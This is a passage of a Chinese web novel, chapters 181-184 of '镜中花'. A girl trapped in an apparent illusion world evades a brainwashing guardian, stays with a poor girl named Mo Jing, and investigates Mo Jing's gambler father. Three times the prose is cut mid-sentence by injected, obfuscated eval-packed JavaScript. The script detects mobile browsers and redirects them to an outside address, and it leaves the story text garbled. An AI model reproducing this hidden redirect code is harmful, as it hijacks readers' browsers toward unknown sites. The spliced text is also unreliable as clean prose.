这是幻觉吗，可一切都好真实。不管是身旁巨大的检测舱，还是这两个穿着联邦军服的人，又或是那边巨大的、占据整面墙的单向玻璃，都无比真实。 触感、温度、甚至连这个人凑到自己面前说话时喷出的气息，都真实到无以复加。 “头不疼吗？那就好，是不是以前没做过精神力检测呀，不要害怕。”女性军官非常温柔地安抚着她，“刚刚的成绩也作数的，你可以放心，成绩很好。” 对方显然是误会了简初的表情，以为她还在担心自己的情况。 “小张啊，你把这位考生带出去，请医务人员看看。” 事到如今，简初只能揣着满肚子疑惑，跟着另一个更年轻的男性军官走了出去，可她刚走了两步就感觉到明显的不协调。 身体好像变得很虚弱，而且并不是疲劳带来的虚弱，而是□□从根本上变得纤弱。 大臂捏上去软软的，自己费劲练出的一点肌肉全都没了。 “这位考生突发晕厥，但是目前没有异样，麻烦你们再观察观察，没问题就让她自行离开。”男性军官没有和简初多说，只是叮嘱了几名医生。 这个“医务室”看上去很是简陋，应该是临时征用的。除了简初之外，还有其他孩子也在接受观察，不过他们的脸色明显要差很多，无一例外带着沮丧。 医生扒开她的眼皮看了看，又问了几个听上去没头没脑的问题，明显在观察她的思维逻辑有没有出问题。 “你还好，在这观察二十分钟就可以了。”医生忙得很，确定简初一切正常，便匆匆离开去照看别人了。 这到底是哪里？ 正当简初陷入迷茫之际，手腕上的终端突然震了震，她一个激灵，随即充满希望地看过去，却只见到一个相当笨重的黑色终端，屏幕很小，也不能弹出虚拟光屏，完全算得上是“古董”。 她抬手凑近，有些艰难地阅读新讯息。 [考生你好，你的考试成绩已经上传至联邦第一军校总务，详情为身体素质D级，精神力素质：特级（暂定），成绩合格，已成功录取精神控制学院，请于三日后前往集合点报道。] 后面的附件是集合点的清单，可以自由选择就近的位置登舰。 简初茫然抬起头，注视着周围忙碌的人群。这里没有人关注她，大家都在做各自的事情，却充满了生活气息。 但再怎么鲜活，这事也是不对的，可偏偏很多细节都和她知道的情况相契合。 难道是谁窃取了她的记忆，然后构建了…… 构建了什么？ 简初突然愣住。 刚刚在思考的东西好像被一只无形的手偷走了，此刻的大脑只剩下一片虚无的、令人焦躁的空白。 “同学，时间到了，你可以离开了哦。” 181. 镜中花（2） 外头的太阳有点刺眼，简初逆着光眯起眼，看见不远处的引路牌，上面写着“图书馆”、“体育馆”、“第三教学楼”等字样，不难看出应该是一所学校。 周围人声鼎沸，年轻的孩子陆陆续续出来，跟翘首以盼的家长们聊着天，脸上或是喜悦或是沮丧，明显能看出结果来。 可这一切离简初都很远。 明明知道自己忘记了什么，却又捕捉不到任何蛛丝马迹，这让简初心生烦躁。 有什么在窃取她的记忆？但她却还是记得自己是被拉进那块石头，才到了这里，但这样一来反倒是更可怕了。 因为现在她自己也无法确认，脑海中的记忆是否是真实且未被篡改过的。 简初顶了顶腮帮子，眼神不断在人海中扫视。 得想办法赶紧回去。 下一秒，一阵阴寒从尾椎骨迅速爬上来，简初控制不住地打了个哆嗦，紧接着就听到斜前方传来一道有些熟悉的声音。 “简初！” 那人喊着她的名字，艰难从人群中挤出来，笑吟吟地站在简初面前：“怎么了，见到我很惊讶？” 简初脑中百转千回，最后却只能张了张嘴：“不……也不算惊讶。” 见她表情不算好，对面的女人露出显而易见的担忧：“这个表情，没通过吗？” 话音刚落，女人眼里飞快闪过一丝烦躁，又迅速挤出假笑：“没事，考不上还能去工作嘛，幸好我之前托人给你打听，不过你没考上军校的话，人家未必会要你啊。” 见简初面色平静，她又皱紧了眉头：“不过你成年了，救助中心就没法继续不能继续给你拨款了，我还是去帮你争取一下吧，至少能有口饭吃。” 这些话从表面听上去没有任何问题，甚至会觉得此人心地善良，但当她是徐灿华的时候，一切就变味了。 简初调整面部肌肉，努力露出一个信赖的表情：“我考上了。” 徐灿华一愣，随即目光灼灼：“真的？可不能说谎啊？” 话虽然这么说，但她甚至没有要检查录取消息的意思，也许是对自己的异能很是信任，她并不觉得被自己洗脑多年的孩子会突然撒谎。 “三天之后就要报到了。”简初保持着“纯真”的笑容，甚至表现出迫切地“需要被对方夸赞”的意味。 这样的表情确实也取悦了徐灿华。 “那太好了，徐姨替你开心。”女人的笑容比起刚才要真心得多，她长出了一口气，伸手从兜里摸出几张皱皱巴巴的纸币，“你往日很少出门，既然只有三天，那就别跟我回去了，留在这里玩几天吧。” 她脸上的慈爱让简初有些生理性不适。 “既然考上了，那工作肯定也没问题的，我跟他们说了，平日不要经常打扰你，有机会你也要好好表现，这样一毕业就能去上班了。” 这番话实在经不起推敲，而徐灿华自己显然也很清楚。 不然她不会选择在这种时候驱动异能，来对自己进行洗脑。 可就当简初打算召唤出小触手抵御异能时，却意外地没有得到任何回应。 前后不过一秒，简初就感觉大脑开始有些混沌，她用力抠住自己的掌心，用精神力抵挡着汹涌的异能攻势，两股力量陷入拉锯，但万幸的是徐灿华并没有意识到不对。 简初努力克制自己的情绪，木讷地点头：“我知道了，谢谢徐姨。” 话音刚落，徐灿华便满意地点头，拍拍她的肩膀：“好孩子，以后有时间记得每年回来看看。” 这句话说完，她才收回了异能。 “我该回去了，你也知道救助中心那边离不开我，今天能来看你已经是很不容易了。”徐灿华平日里习惯了这样潜移默化的洗脑，就连此时也不忘让简初承她的情。 简初配合表演，无措地皱起眉头：“徐姨，这就要走了吗？” “以后是大人了。” 此刻，徐灿华的表情居然难得真挚，她欣慰地叹了口气，下一刻却转过身毫不留恋地离开了。 好像是怕被什么追赶上。 旁边好几个家长露出难以言喻的表情。 什么样的父母才会把孩子独自丢下，就算没考上也不能这么绝情啊。 “这孩子真可怜。”连同龄人都投来同情的目光。 简初低着头数了数钱，不多不少八百星币，上面不知道从那里沾到油渍，摸上去有点黏，但简初只能握紧它们。 看来在这个世界，她生活的主旋律就是贫穷。 至少先找个落脚的地方，也不知道这些钱够不够。 简初抬脚往前走了两步，却感觉肩膀被人拍了一下，她猛然转过头，身后空无一人。 又来了，那股阴凉之气再次自下而上，爬上她的天灵盖，激起一身鸡皮疙瘩。 对方拍得很重，没道理是幻觉啊……不，她得冷静一点，原本来到这里就已经是超出常理，再来一些干扰也是很正常的。 人潮从周身经过，但简初的大脑十分混乱，随着她的每一次眨眼，视线中的色彩开始迅速剥离，一切变成了黑白色，甚至如同网络卡顿一般，人们的行动开始出现掉帧。 思考的能力消失了，有沉重的东西压在心头，让每一次的呼吸都变得极为困难。 “呃——” 简初忍住强烈的呕吐欲，余光却瞥见一片鲜艳的衣角，在黑白色中分外显眼。 ……是谁？ 眼中的一切开始旋转，简初跌跌撞撞，扶着身边经过的人作为自己的拐杖，可没有谁朝她投来注视。 他们毫不在意被当做“扶手”，只是专注于自己的事情，甚至被推开了也会很快回到原来的行动轨迹。 就像是一群敬业的演员。 简初就这么跑进巷子里，又扶着墙来到尽头，这是一条三岔路口，她左右看了两眼，很快在右侧的通道尽头看见一个衣着鲜艳的背影。 这是……专门在等她？ 她无暇顾及这个想法，只是遵循本能继续追逐，不仅是因为那是这片黑白中唯一的亮色，更多是因为这背影有种莫名的熟悉感。 但她想不起来这是谁。 巷子里已经几乎没人了，她的双脚像上了发条，无法阻止地带着人往前跑。 呼吸开始变得艰难，口中甚至能感受到微微的腥甜。 但那背影近在咫尺，简初疯了似的咬紧牙关，猛地跨出一大步，伸手抓了过去！ 而就在这一瞬间，那人突然停下脚步转过了身。 简初瞳孔紧缩，眼睁睁看着自己的手指、手腕再到手肘，直接毫无阻碍地穿透了对方的躯体。 彼此鼻尖几乎想贴，却感受不到任何气息。 对方的嘴动了动，说了什么话。 下一秒，意识开始飞快抽离，视线中的一切重新染上正常鲜明的色彩，但那道虚影却如同泡沫，在彩色的画布中骤然破碎。 “噗通！” 天空中突然飘起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073257|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无预兆的细雨，在阳光下反射出华彩，打湿了简初的头发，而她已经闭上眼，沉沉睡去。 …… 再醒来时，先听到的是淅淅沥沥的雨声。 阳光沿着屋檐照下来，把一串串雨珠照得发亮。简初花了点时间来反应现在的情况——她正靠在墙角，裤腿湿了一半，头发也好像被雾气沾染，带着些微湿润。 鼻尖钻来一丝腐朽的霉味。 这是……哪里？ “你醒了？”身边突然有人开口说话。 简初微微仰起头，就看见和自己年纪相仿的女孩，对方穿着不合身的宽大衣服，衣摆和领口磨得发白、破损，从袖口伸出的腕骨细得可怜，脸上更是一种不健康的菜色。 “你躺在地上淋雨，我把你拖过来了。”女孩细声细气，因为脸庞瘦削，所以眼睛看起来很大。 简初愣了愣：“谢谢。” 感觉哪里不太对，但是又说不出来，她是来参加联邦军校的招生，为什么会出现在这里？ “小不点，药还买不买啊？”隔壁铺子里走出一个膀大腰圆的中年女人，她眉毛倒竖，身上却有着莫名蓬勃的生命力，“我给你的都是成本价，真的不能再低了。” 大家都忙于生计，没人有资本滥好心，说实话，能给这孩子成本价都已经是她以前不敢想象的事了。 “谢谢陈姨，但是我现在没钱了。”女孩缩缩脖子，“没关系，忍忍就好。” “唉，钱又被抢走了？摊上这个活爹……” 倒还不如父母双亡，被送去救助中心呢。 “你要吃什么药？” 闻言，中年女人踮起脚，这才看见被破木箱挡在后头的人影。 “哦哟，这里还有人噻。”她絮絮叨叨，“就是普通的止疼药啊，这小孩总吃呢，我是真的没法再便宜了，这店要养一大家子呢。” 也许是为了说服自己，她话说得停不下来。 小女孩腼腆笑笑：“我知道的陈姨，你已经很照顾我了，不过我是真的……” “多少钱？” 中年女人愣了愣：“二十星币。” “败家婆娘，这个成本哪止二十……”话音刚落，屋里就传来抱怨声。 “你给老娘把嘴闭上，正事不干成天唧唧歪歪，给我把地扫干净！”女人叉着腰，冲屋里一阵臭骂。 里头的人这下安静如鸡了。 “陈姨……”小女孩喏喏开口。 简初垂着眼，捻了捻纸币，抽出一张递过去：“给她买两盒。” “可是……”女孩面色为难，但这里没人在意她小小的抗拒，中年女人迅速接过钱，很快就拿着两盒药和六十的零钱出来。 她并没有因为有人为此付账而多收一分钱，就算那是她本来应该得到的。 简初把剩下的钱揣进兜，顺手把药扔进女孩怀里：“你从刚刚开始就在抖，赶紧吃吧。” 对方脸颊鼓了鼓，但也许是因为太疼了，无法抗拒止疼药的魅力，她轻声道过谢，才抠了一片塞进嘴里。中年女人后知后觉，赶紧回去倒了一杯水来。 “你这孩子！怎么就这么干吃呢！” “对不起……”她小口喝水，眼神却一直往简初这边看。 阳光从雨滴中折射而出，在睫毛上投下一瞬的曼妙光晕，但简初只感觉被晃了一下眼，转头就看见小姑娘一直盯着自己。 真奇怪，明明自己也才十六岁，怎么总觉得这是个小孩子。 182. 镜中花（3） “我会还钱的。”女孩捧着两盒药，盯着简初的眼神亮晶晶的。 从中年女人的话中，不难猜到这小姑娘的生活极其拮据，但因为监护人还活着，所以她不满足救助标准。 说实话，救助中心的条件确实要比这里……好很多。 仅仅一墙之隔，中央城区的大楼折射着璀璨的霓虹，而这里却连光都很难照进来。 “不用，我没几天就要走了。”简初耸耸肩，看上去兴致缺缺。 她总觉得有什么事要做，但一直在救助中心长大的自己，又会有什么事呢？ “你们俩原来不认识啊。”一旁中年女人这才回过神，“我也说呢，平时没见过……” 尾音突兀消失，她的手指绞紧围裙，生硬地换了个话题：“你是来考试的吗？” 斑驳的公告栏还贴着联邦军校的招生布告，不管这里有没有人报名，学校不会漏掉任何一个地方。 简初的沉默让女人意识到自己的问题有些越界，只能有些尴尬地闭上了嘴。 “……没别的事，我先走了。” 太阳雨恰到好处地停了，简初掸去身上的灰尘，稍稍松了松筋骨，关节“咔咔”作响。 “要走了？”女孩抓着药盒的指尖有些泛白，“可你的钱……” 简初摆摆手，两步就跨到巷子的拐角：“一点小钱。” 阳光照在洗得有些发白的衣服上，让女孩的眼睛微微灼痛——明明是差不多的年纪，但对方却好像一只自由的白鸟。 自由到这次擦肩而过，以后就再也见不到了。 “那个！请问你叫什么名……字……” 话音散在潮湿的空气里，眼前已经空无一人。 …… 简初双手插兜，漫无目的地走在街道上。两旁的商铺窗明几净，不远的地方聚集着几个机器人，看样子正在维修一面高大的广告牌。 她盯着看了老半天，才发现只是有一颗灯泡不够亮。 简初感觉心头被什么沉甸甸压着。 她在南芒区的救助中心度过四年光阴，看过了一千多次被铁栅栏锁住的黎明与黄昏。 但现在她更需要担心手里的钱够不够在这住上两天。 “抱歉小姐，由于联邦军校正在招生，所以附近的酒店都没有多余的空房间了，而且……” 前台的服务生伸手，简初面前就弹出一张房价表。 “就算是最简陋的房型，价格也比平时上涨至少50%，您的钱不够哦。” “我知道了。”简初平静地拿回柜台上的纸币，折了折塞进口袋，却在刚要推开大门时被人喊住。 “您是等军校的集合报道吧？”虽然是疑问句，但是对方十分笃定，“衔尾巷。” 简初握着门把手回头：“什么？” 服务生的微笑标准而礼貌：“如果您只有这么点钱，可以去后头的衔尾巷看看，那里很便宜。” 不知道为什么，简初感觉对方说出“衔尾巷”这三个字的时候，语气有些不太一样。 阳光灿然从落地玻璃门照进来，恰好落在柜台边缘，在两人之间划下一道清晰的明暗界线。 “谢谢。” 简初站在旅店门口叹了口气，脚下一转，又往刚刚来的方向走去。 …… 锈蚀的铰链“吱呀”转动，有些不堪重负地支撑起药店的后门，老板探出头，跟来人大眼瞪小眼。 简初收回敲门的手：“打扰了，我想问问附近有没有便宜的旅店。” 也许是听见声音，那女孩也从店里钻出来，她额角沁着汗珠，几撮头发卷卷地黏在上面。 简初瞥见屋里满地堆着凌乱的箱子，看起来她们正在整理药品。 “有倒是有，不过不推荐你住。”老板上下打量了简初两眼，“你看起来太瘦弱了，很容易被人盯上。” 简初：…… 看来这地方不仅是看上去破破烂烂，实际上也是。 “没关系，我只住两三天，麻烦……” 暮色渗进巷子的每一个砖块，一旁安静着的女孩终于鼓起勇气：“不嫌弃的话，去我家吧，虽然条件有点差，但……至少是安全的。” 不对本地住户动手，是巷子里的共识。 她的手不安地在身前搅动，但眼里写满了真诚：“就当是谢谢你给我买药。” 药店老板欲言又止：“可是你那个活爹……” “他不在家。”女孩赶紧回答，“说去挣钱了，这几天都不回来。” 这理由用过无数次，可那男人每次回来都是两手空空，这次甚至搜刮了家里所有的余钱。 但是她今天遇见了不一样的人，这感觉很好，哪怕身无分文，也比以前更开心一些。 “有饭吃吗？”简初从兜里掏出所有的钱，“这几天麻烦你了，我……你可以喊我苍耳。” 这个名字出现得突兀又自然，仿佛早就潜藏在自己的大脑中。 “跟我吃一样的可以吗……”女孩看着这几张边缘发毛的纸币，没有伸手，“我……叫莫景，随便你怎么喊。” 这个名字让简初微微蹙起眉头，但她确定自己从来没遇见过同名的人。 “陈姨，那我回头再来帮您收拾。”莫景脱下身上布满灰痕的围裙，微笑的脸上难得多了一丝血色。 “我们走吧。” 脚步声在窄巷回荡，简初突然回头看了一眼，却只见到药店老板有些仓惶的背影。 有点奇怪，从自己醒来开始，到处都有点奇怪。 “往这边走。” “嗯，好。” 衔尾巷比简初想象的要大很多，它不只是一条巷子，而是由很多巷子构成的区域。 沿路的墙壁上有斑驳的图案，风吹日晒暴露出下方砖块的底色，但不难看出是一个圆形的涂鸦。 可惜细节看不清楚了。 两人的脚步声几乎重叠在一起，拐过好几个弯才来到一扇有些破旧的矮门前。 屋子临街的面积很窄，内部空间呈现长条形。一侧是两个小房间，另一侧是狭窄的厨房和洗手间，一眼就能看完屋里所有的东西，很少很少，但收拾得整洁。 “这几天家里应该只有我一个人。”莫景有些局促地关上门，“委屈你和我挤一挤了。” 她说着，弯腰从小冰柜里掏出些菜来，叶子蔫蔫的有些发黄，看上去囤了有几天了。 简初瞥见冰柜里头几乎一半都是空的，而且也看不到什么肉类，她看着女孩瘦削的脸和突出的腕骨，莫名有些不是滋味。 “我出去一趟，马上回来。” “诶？”莫景猛然抬起头，连忙却甩甩手上的水，跑到门口左看右看，可视线所及已经没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092560|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人影了。 她不免有些忧心，但想到不久前和陈姨的聊天，又强行劝自己不要担心。 如果能考上联邦军校，那苍耳应该是很厉害的，不像自己……一点用都没有。 虽然这么劝自己，但莫景的精神完全无法集中，手上一直机械地洗着菜，直到大门被敲响才猛然回神。 “谁……”生锈的门轴吱呀作响，门缝露出的脸让她松了口气，“你回来了。” “嗯。”简初低低应声，随手将手里的塑料袋放在桌上，“你不要钱，我就去买了点东西。” 莫景发誓，自己长这么大几乎没有见过这么多的肉类，甚至还有新鲜到能掐出水的绿叶菜。 这个包装袋……是巷子外的，外面东西都很贵的。 尽管看上去真的很诱人。 “吃颗糖。”简初撕开一大包酸砂糖，丢了一颗过去，看见对方手忙脚乱接住，脸上才露出笑意。 莫景努力咽咽口水：“……谢谢。” 糖被含在嘴里，她舍不得吃得太快，只能一直鼓着脸。 自己根本不知道怎样才能把肉做得好吃，只是弄熟了而已，但大概因为食材质量很好，所以真的很香。 像梦境一样的香气，直到她沉入梦乡都没有消散。 屋子里没有窗户，关上灯完全就是伸手不见五指的状态。简初能听到外头有人在欢声笑语，甚至还有悬浮车从头顶飞驰而过。 太魔幻了，她从来没想到中央城区会是这样的。所有人都知道衔尾巷，而巷子里所有人也知道外头的富有，但他们就是这样相安无事地生活在同一块土地上。 “簌簌……” 正在这时，简初突然听到门外传来窸窸窣窣的响声。 有人在撬门？ 她在黑暗中睁大眼，手指紧紧扣住身下的铁架床板，耳边甚至开始出现血液流动和心跳声。 声响越来越大，直到“嘎吱”一声，有人打开了门。 有钥匙？难道是莫景的父亲？ 沉重的脚步声在屋内回响，对方没打算往里走，而是直接进入了另一个房间。 “砰！” 房门被重重关上。 简初无声地松了一口气，尽管莫景说这里是安全的，但她还是做不到完全放松警惕，既然是家人，那应该不会有什么事。 不过出于谨慎，她还是悄无声息地走下床，拧上了门锁。 隔壁的人满屋子走动，抽屉的摩擦声不断响起，好像是在翻找什么。 但很快，这些动静就全部消失了，连同屋外的噪声一起，整个房间陷入绝对的安静。 这很不正常。 简初以为自己会很恐慌，因为在她前十六年的生活中，从来没有遇到过任何异常。 但她此刻却冷静地躺在床上，冷静到连自己都觉得荒诞。 窒息的寂静包裹住她，耳边传来奇怪的呓语，听上去像是来自男人的梦话，其中还夹杂着木质床铺不堪重负的“嘎吱”声。 昏沉的睡意席卷而来，只是几个呼吸，简初的意识就已经飘远，就像有什么人按住自己的眼皮，用尽全力也无法睁开。 这感觉简初莫名熟悉，很久前，当她连轴转四十八小时以上，扑在床上就会是这样的感觉。 等等，连轴转？可是在救助中心每天都是按时熄灯的啊？ 183. 镜中花（4） 隔壁的床铺重重响了两声，男人的呓语消失不见，紧接着响起的是努力克制的、拖沓的脚步声。 鞋底在地面轻轻摩擦，他缓慢推开了房门，向这边走来。 铁架床上的两人毫无所觉，看样子睡得很沉，对门外发生的事情一无所觉。一派安静之中，脚步声停在了房间门口。 “咚咚！” 房门被猛然推动，沉闷的碰撞声如同惊雷炸响，老化的门轴也不堪重负，“嘎吱嘎吱”叫了好几声。可尽管如此，也没有人被惊醒，哪怕门框上的石灰被震得簌簌落下，在地面积成一条细细的白线。 门锁最终还是坚持住了，外头的人不停扳动门把手，甚至用力撞击着门板，也没能轻易破开它的防线。 大概不到一分钟，男人好像放弃了——不知道是因为做不到还是不想惊扰里头的人，总之确定门打不开，他就静静站在门口，好一会才拖沓着鞋往回走。 “嘎达！” 随着门被关上，一墙之外的喧嚣被重新按下播放键，嬉笑声、音乐声瞬间传来，给屋子里增添了一丝活气。莫景发出几声呓语，翻了个身。 但没有人醒来。 衔尾巷的上空被霓虹照亮，深夜的雾气浅淡，映照着五光十色的灯光，眼看多了几丝诡谲。 一个人影孤单地走在巷子里，冷白的月光沁进墙上的砖块，看上去就像一层白霜，明明是初夏，却有种莫名的寒凉。 药店的小灯还亮着，雾气在铁门上凝出一层薄薄的水痕。 巷子里总是会发生各种各样的争端，陈素已经习惯了每天只睡四五个小时，自己男人确实没什么大本事，但帮着看个店也算发挥一点余热。 看见有人进来，她又忍不住皱起眉头，抬脚踹了踹旁边眼皮子快要黏在一起的男人：“起来，有人来买药呢！” “知道了知道了……”男人抱怨了两句，揉揉眼睛坐到了柜台后面，眼神发愣等着客人挑选药品。 陈素依然坐在后门——药店后门并不常开，只有莫景那孩子固定来帮忙的日子才会专门留着，可不知道为什么，她今天总觉得心绪不宁，好像有什么事要发生。 那个叫“苍耳”的女孩子奇怪得很，但又说不上有什么坏心思。能在巷子里把药店做起来，陈素的本事也不容小觑，但今天她愣是没看出来那女孩究竟要做什么。 这条巷子里可没有什么值钱东西，值得上头的老爷们费劲周章，就算塞人进来，也不会找这种弱了吧唧的小姑娘。 难道真的只是碰巧？ “今天买止疼药的人好像比以往多。”男人送走两个客人，才锁好柜台上方的窗户，只留下一道半掌宽的缝隙，从中透出的灯光告诉所有经过的人，这家药店尚在营业中。 陈素坐在后门边往外看：“有没有打听是什么情况？” “说是突然开始头疼，这几个老面孔我熟得很，都喜欢赌钱，估计是输多了头疼。”男人嘲笑一句，慢悠悠躺回了躺椅，他很瘦，看上去似乎没吃过饱饭，但其实只是肠胃不好。 “赌钱啊……”陈素随意摇摇扇子，挖苦两句，“小莫那活爹不是也赌钱，他没来买药，难道赢了？” 这话说出口她自己都觉得可笑，要是能赢钱，莫景也不会瘦成那样，更不至于连个头疼的小毛病都一直拖到现在，全靠吃止痛药熬。 “你对那小丫头倒挺好的。”男人难得呛声，“做慈善呢，在她身上亏了多少钱了，你……” “再叨叨我扇你。”陈素怒瞪他一眼，那男人又老实了，“不挨骂皮痒了？少你一顿饭吗成天唧唧歪歪，跟人小孩计较啥！” 她骂了两句，又感觉没什么意思，余光却瞥见巷子里有一个人慢悠悠晃过来，但因为雾气朦胧，所以只能看见模糊的轮廓。 对方并没有往药店这边来，而是在前头一个路口拐了弯。 那个方向，又是哪个好赌的？ …… 第二天。 太阳出来得很早，雾气也迅速散了。巷子里的生活作息和外面不同，人们睡得晚也起得晚，外界社会不接受他们的融入，所以也就各过各的，互不干扰。 空气还有些湿润，简初在门口转了一圈，却一个人都没看见，就连小药店都没开门，不过门上贴了牌子，写着如果有紧急情况可以直接敲门。 但她现在更在意的是，一大早起来，并没有见到莫景的父亲。 昨晚的记忆其实已经有些模糊了，但她很确定听见有人回来，进了隔壁房间，但她问过莫景，也只得到对方茫然的回答。 “我什么都没听到，你是不是做梦了？”莫景正在做着简单的早餐，“他每次出去没几天是不会回来的，你可能是在这太紧张，所以做梦了。” “这样啊。”简初没再多说什么，但心里并没有接受“做梦”这个解释。 这里除了自己，谁都不能相信。 这个念头浮现的时候，简初自己都愣了两秒。她以前并不是这个性格，怎么会变成这样？ “你在想什么？”莫景伸手在她眼前挥了挥，看见对方眼神落在自己身上，才歪歪脑袋，“早饭做好了，不过有点简陋，你勉强吃点吧。” “没事，我不挑食。”简初暂时放下内心的疑虑，坐在狭窄的餐桌旁，可她刚落座，余光就轻易瞥见侧对着的房门。 门开着，但门框正下方积了一条灰白色的线，在灰扑扑的地面上格外显眼。 那是从墙壁剥落的石灰，如果没有外力干扰，很难在一夜之间就积累这么多，而且她很确定昨天并没有看到这样的痕迹。 模糊的记忆浮上心头，但简初自己也很难说清她是什么时候睡着的，想要弄清究竟发生了什么，更是无从谈起。 莫景吃饭快得离谱，简初刚刚吃完三分之一，她就已经清空盘子，并露出一个腼腆的微笑。 “还要吗？”简初指指自己的盘子。 对面的女孩头摇得像泼浪鼓：“不用不用，我吃饱了，我只是……吃饭比较快。” 因为不吃快点，她爹就会扫完所有的食物，那个男人从来不会关心她饿不饿，只要他自己吃饱就好了。 简初大概读懂她的意思，但并没有再多话，只是低头吃饭，直到门外传来一阵急匆匆的脚步声。 “小莫！” 门没有关，药店老板的声音就这么冲了进来，不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097397|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十来秒，她就扒着大门的门框喘着粗气。 “赶紧过来，你那个活爹出事了！” 简初内心毫无波澜，根据药店老板和莫景的只言片语，这个男人在她心里的形象差得很，但出于“寄人篱下”的礼貌，她还是跟着一起去了。 还没拐过巷子口，一波波嘈杂的人声就传了过来，中间夹杂着男人痛苦的哀嚎以及偶尔蹦出的咒骂。 “什么情况？” “听说在赌场出老千被人发现，打断胳膊丢在这了。” 简初微微蹙起眉头，走近才看到男人被齐腕斩断的伤口，断手就扔在一旁，掌心还塞着一卷崭新的纸币，充满了嚣张的意味。 虽然你出老千被砍断了手，但我们很善良地给了你足够的钱来治疗。 大概是这意思，在场估计不少人都领会到了。 “赌场不是跟外头的势力有关系吗，他怎么敢的？” 人群还在窃窃私语，药店老板听得一个头两个大，叉着腰把闲杂人等都赶走了。 “去去去，围在这我还做不做生意了！” 药店在巷子里地位不低，此话一出大部分人都很给面子，只有小部分极其爱看热闹的人还坚守在原地。 “我没有出千……”地上的男人哼哼唧唧，“他们就是不想我赢钱……” 有好事者远远起哄：“你赢了多少才污蔑你啊，真有意思，出千就出千咯！” “我！”男人的手腕还在不停淌血，整个人面上都是濒死的灰白色。 陈素没客气，直接拿走那只断手的钱，捧着一堆药过来：“你那手没救了，保命要紧。” 巷子里也没有人有那技术，能给他把断手接回去。 “我的手……”男人哀嚎个不停，下一秒嘴里就被塞了一大块纱布。 “吵死了。” 莫景眼圈红红的，安静蹲在一边打下手。她其实并没有感受到深切的悲伤，但内心总还是不好受的。 “我没有出千，就是因为我知道怎么赢……”男人还在喃喃，不知道是不是失血过多，已经开始说胡话了，“我的五千万……” 这几句话说得很轻，但离他最近的几个人都听到了。 简初眯了眯眼，牢牢记下他的喃喃自语。 五千万星币，如果是真的，那可真是一笔巨款了，而且那句“知道怎么赢”，听上去也很可疑……虽然大概率更像是一个出千赌徒的临终幻想罢了。 “苍耳，能不能麻烦你帮我回家拿件衣服，这件已经……” 男人的衣服上沾满了血，而湿润的血迹上又沾满了灰尘，现在肯定是不能继续穿了。 “行。”简初平静地接过钥匙，“马上就来。” “你就这么把钥匙给她了？万一她偷东西跑了呢？”老板伸手戳戳莫景的脑袋，满是恨铁不成钢，“你怎么这么天真啊，昨天才认识呢！” 莫景垂着头：“没关系，家里也没什么值钱的东西。” 身后的对话清晰传到简初的耳朵里，但她并不在意，这些看法对她来说没有意义，总归再过两天自己就会离开。 联邦几百亿人口，也许这辈子都不会再见面了。 184. 镜中花（5） “砰”的一声轻响，大门被简初反手关上，她的脚步丝毫不停，径直走进了属于莫景父亲的屋子。 房间里一样很狭窄，单人床几乎占据了大半的空间。空气中漂浮着淡淡的霉味，木质的床腿仿佛在水里泡过，布满了密密麻麻的霉点。 角落摆放着一个同样破旧的木衣柜，柜门的合页已经锈蚀到残缺，露出里面挂着的几件衣服，下面还有两层上了锁的抽屉。 锁头此时虚挂着，抽屉露出一条缝隙。 简初没能抵挡住这诱惑，伸手拉开了抽屉。里面是一叠有些泛黄的纸，上面记录的东西不多，但很规律，无一例外都是赌局的输赢。 男人大概习惯提前猜测赌局的结果，并在得到答案后记录下正误，如果这上面的记录都是真实的，那他十有八九都是输家。 这么倒霉？ 想到男人方才的喃喃自语，她眉头紧蹙，翻动着纸张找到了最新的记录。 他只玩猜大小，最后这部分大概有十来个预先猜测的结果，但因为他“出千”被砍了手，所以没能记录下真实的结果。 男人写下这些字的时候似乎非常激动，笔尖将纸划破了好几次，最后还在上面重重画了圈。 可下一秒，纸张上的字迹突然变得扭曲，原本笔直的线条如同蛞蝓般蠕动，简初瞳孔骤缩，只是眨了眨眼，上面的字迹却完全消失了。 她抓着纸张的手背暴出青筋，无声地急促喘息，不信邪地又把纸张翻来覆去看了几遍，终于确定只有那十几个字消失了。 绝对不是看错了，她现在还能记得，那些字分别是“小、小、大……” 简初愣住了。 等等，后面是什么来着。 明明在嘴里反复念叨过好几遍，她不可能只记得三个字。 后颈突然泛起一阵针刺般的寒意，仿佛有什么东西在暗处看着她。 简初硬生生遏制心中想要回头的冲动，将手里的纸张塞回了抽屉。 “穷成这样还赌钱……”她掩饰性地嘟囔了几句，动作自然地打开柜门，拿了一件看上去最符合现在气温的衣服。 心脏“扑通扑通”跳着，简初若无其事地转过身，但身后空无一人。 